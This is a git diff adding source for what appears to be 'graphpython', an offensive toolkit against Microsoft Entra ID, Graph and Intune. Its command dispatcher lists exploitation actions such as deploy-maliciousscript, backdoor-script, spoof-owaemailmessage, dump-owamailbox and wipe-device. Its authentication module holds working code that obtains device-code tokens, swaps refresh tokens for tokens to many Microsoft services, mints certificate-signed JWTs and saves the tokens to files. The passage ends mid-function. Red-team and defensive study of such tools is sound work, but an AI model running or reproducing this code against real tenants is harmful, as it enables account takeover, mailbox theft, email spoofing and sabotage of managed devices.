"get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal", + "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script", + "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent" + ] + + if len(sys.argv) == 1: + parser.print_help() + sys.exit() + + if args.list_commands: + list_commands() + return + + if args.command and args.command.lower() in [ + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", + "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user", + "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group", + "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts", + "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", + "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser", + "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles", + "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections", + "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", + "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules", + "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword", + "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps", + "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", + "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps", + "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps", + "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications", + "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal", + "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script", + "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", + "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt", + "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + if not args.token: + print_red(f"[-] Error: --token is required for command") + return + + # Outsider commands + elif args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]: + getattr(outsider, args.command.replace("-", "_"))(args) + + # Authentication commands + if args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", + "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", + "invoke-appsecrettoaccesstoken", "new-signedjwt"]: + getattr(auth, args.command.replace("-", "_"))(args) + + # Enumeration commands + elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", + "get-user", "get-userproperties", "get-userprivileges", + "get-usertransitivegroupmembership", "get-group", "get-groupmember", + "get-userapproleassignments", "get-conditionalaccesspolicy", + "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy", + "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", + "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword", + "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", + "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls", + "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", + "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal", + "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + getattr(enum, args.command.replace("-", "_"))(args) + + # Exploitation commands + elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications", + "find-updatablegroups","find-dynamicgroups", "find-securitygroups", + "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember", + "create-application", "create-newuser", "invite-guestuser", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", + "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate", + "add-applicationpassword", "grant-appadminconsent"]: + getattr(exploit, args.command.replace("-", "_"))(args) + + # Intune enum commands + elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", + "get-devicecompliancesummary", "get-deviceconfigurations", + "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", + "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments", + "get-devicecompliancepolicies"]: + getattr(intune_enum, args.command.replace("-", "_"))(args) + + # Intune exploit commands + elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps", + "dump-androidapps", "dump-macosapps","get-scriptcontent", + "display-avpolicyrules", "display-asrpolicyrules", + "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-edrpolicyrules", + "display-lapsaccountprotectionpolicyrules", + "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", + "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", + "update-deviceconfig", "reboot-device", "retire-device", "lock-device", + "shutdown-device"]: + getattr(intune_exploit, args.command.replace("-", "_"))(args) + + # Cleanup commands + elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", + "delete-device", "wipe-device"]: + getattr(cleanup, args.command.replace("-", "_"))(args) + + # Locator commands + elif args.command in ["locate-objectid", "locate-permissionid"]: + getattr(locators, args.command.replace("-", "_"))(args) + + # ... + elif args.command and args.command.lower() not in available_commands: + print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/graphpython/commands/__init__.py b/graphpython/commands/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/graphpython/commands/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/graphpython/commands/auth.py b/graphpython/commands/auth.py new file mode 100644 index 0000000..a7b8dfe --- /dev/null +++ b/graphpython/commands/auth.py @@ -0,0 +1,1200 @@ +import requests +import json +import jwt +import hashlib +import time +import base64 +import uuid +import sys +from datetime import datetime, timedelta, timezone +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.hazmat.backends import default_backend +from urllib.parse import urlencode, urlparse, parse_qs +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +################## +# Authentication # +################## + +# get-graphtokens +def get_graphtokens(args): + print_yellow("[*] Get-GraphTokens") + print("=" * 80) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + resource = "https://graph.microsoft.com" + user_agent = get_user_agent(args) + + body = { + "client_id": client_id, + "resource": resource + } + + headers = { + "User-Agent": user_agent + } + + device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers) + device_code_response_content = device_code_response.content.decode() + device_code = None + message = None + + try: + device_code_json_response = json.loads(device_code_response_content) + device_code = device_code_json_response["device_code"] + message = device_code_json_response["message"] + + except Exception as ex: + print_red(f"[-] Failed to parse device code response: {ex}") + print("=" * 80) + exit() + + print(f"{message}\n") + time.sleep(3) + + start_time = datetime.now() + polling_duration = timedelta(minutes=15) + last_authorization_pending_time = datetime.min + + while datetime.now() - start_time < polling_duration: + token_body = { + "client_id": client_id, + "grant_type": "urn:ietf:params:oauth:grant-type:device_code", + "code": device_code + } + + token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body) + token_response_content = token_response.content.decode() + + if token_response.status_code == 400: + if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1): + print("authorization_pending...") + last_authorization_pending_time = datetime.now() + time.sleep(3) + elif not token_response.ok or "authorization_pending" in token_response_content: + # continue polling + time.sleep(3) + else: + token_json = json.loads(token_response_content) + print_green("\n[+] Token Obtained!\n") + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + file_path = "graph_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + exit() + + print_red("[-] Polling expired. Token not obtained.") + print("=" * 80) + +# get-tenantid +def get_tenantid(args): + if not args.domain: + print_red("[-] Error: --domain argument is required for Get-TenantID command") + return + + print_yellow("[*] Get-TenantID") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "User-Agent": user_agent + } + + try: + response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration", headers=headers) + response.raise_for_status() + response_content = response.content.decode() + + open_id_config = json.loads(response_content) + tenant_id = open_id_config["authorization_endpoint"].split('/')[3] + + print(tenant_id) + + except requests.exceptions.RequestException as ex: + print_red(f"[-] Error retrieving OpenID configuration: {ex}") + print("=" * 80) + + +# get-tokenscope +def get_tokenscope(args): + print_yellow("[*] Get-TokenScope") + print("=" * 80) + + try: + json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) + scope = json_token.get("scp") + if scope: + scope_array = scope.split(' ') + for s in scope_array: + print(s) + else: + print_red("[-] No scopes found in the access token") + + except jwt.DecodeError: + print_red("[-] Invalid access token format") + print("=" * 80) + +# decode-accesstoken +def decode_accesstoken(args): + print_yellow("[*] Decode-AccessToken") + print("=" * 80) + + try: + json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) + for key, value in json_token.items(): + print(f"{key}: {value}") + + except jwt.DecodeError: + print_red("[-] Invalid access token format") + + print("=" * 80) + +# invoke-refreshtomsgraphtoken +def invoke_refreshtomsgraphtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command") + return + + print_yellow("[*] Invoke-RefreshToMSGraphToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://graph.microsoft.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}" + + headers = { + "User-Agent": user_agent + } + + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) + if response.status_code == 200: + print_green("[+] Token Obtained!\n") + token_response = response.json() + for key, value in token_response.items(): + print(f"[*] {key}: {value}") + file_path = "new_graph_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + + else: + print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoazuremanagementtoken +def invoke_refreshtoazuremanagementtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToAzureManagementToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://management.azure.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}" + headers = { + "User-Agent": user_agent + } + + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) + if response.status_code == 200: + print_green("[+] Token Obtained!\n") + token_response = response.json() + for key, value in token_response.items(): + print(f"[*] {key}: {value}") + + file_path = "az_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + else: + print_red(f"[-] Failed to get Azure Management token: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtovaulttoken +def invoke_refreshtovaulttoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToVaultToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + scope = "https://vault.azure.net/.default" + auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" + + headers = { + "User-Agent": user_agent + } + + data = { + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "vault_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Azure Vault token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtomsteamstoken +def invoke_refreshtomsteamstoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command") + return + + print_yellow("[*] Invoke-RefreshToMSTeamsToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + refresh_token = get_access_token(args.token) + resource = "https://api.spaces.skype.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + headers = { + "User-Agent": user_agent + } + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + file_path = "teams_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get MS Teams token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoofficeappstoken +def invoke_refreshtoofficeappstoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command") + return + + print_yellow("[*] Invoke-RefreshToOfficeAppsToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + resource = "https://officeapps.live.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "officeapps_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Office Apps token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoofficemanagementtoken +def invoke_refreshtoofficemanagementtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command") + return + + print_yellow("[*] Invoke-RefreshToOfficeManagementToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2" + refresh_token = get_access_token(args.token) + resource = "https://manage.office.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "officemanagement_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Office Management token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtooutlooktoken +def invoke_refreshtooutlooktoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command") + return + + print_yellow("[*] Invoke-RefreshToOutlookToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://outlook.office365.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "outlook_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Outlook token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtosubstratetoken +def invoke_refreshtosubstratetoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command") + return + + print_yellow("[*] Invoke-RefreshToSubstrateToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://substrate.office.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "substrate_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Substrate token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoyammertoken +def invoke_refreshtoyammertoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command") + return + + print_yellow("[*] Invoke-RefreshToYammerToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://www.yammer.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "yammer_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Yammer token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtointuneenrollmenttoken +def invoke_refreshtointuneenrollmenttoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command") + return + + print_yellow("[*] Invoke-RefreshToIntuneEnrollment") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + refresh_token = get_access_token(args.token) + resource = "https://enrollment.manage.microsoft.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "intune_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtoonedrivetoken +def invoke_refreshtoonedrivetoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command") + return + + print_yellow("[*] Invoke-RefreshToOneDriveToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + resource = "https://officeapps.live.com/" + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + scope = "openid" + + headers = { + "User-Agent": user_agent + } + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": scope + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "onedrive_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get OneDrive token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtosharepointtoken +def invoke_refreshtosharepointtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command") + return + + print_yellow("[*] Invoke-RefreshToSharePointToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + + try: + sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip() + use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes' + admin_suffix = '-admin' if use_admin else '' + + except KeyboardInterrupt: + sys.exit() + + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("\n[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "sharepoint_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get SharePoint token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-certtoaccesstoken +def invoke_certtoaccesstoken(args): + if not args.tenant or not args.cert or not args.id: + print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command") + return + + print_yellow("[*] Invoke-CertToAccessToken") + print("=" * 80) + tenant_id = args.tenant + client_id = args.id + cert_path = args.cert + + try: + audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + with open(cert_path, 'rb') as cert_file: + pfx_data = cert_file.read() + + private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend()) + # calculate x5t (X.509 cert SHA-1 thumbprint) + fingerprint = certificate.fingerprint(hashes.SHA1()) + x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii') + + payload = { + 'sub': client_id, + 'nbf': datetime.now(timezone.utc), + 'exp': datetime.now(timezone.utc) + timedelta(minutes=120), + 'iat': datetime.now(timezone.utc), + 'iss': client_id, + 'aud': audience + } + + private_key_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption() + ) + + jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t}) + user_agent = get_user_agent(args) + headers = { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': user_agent + } + + 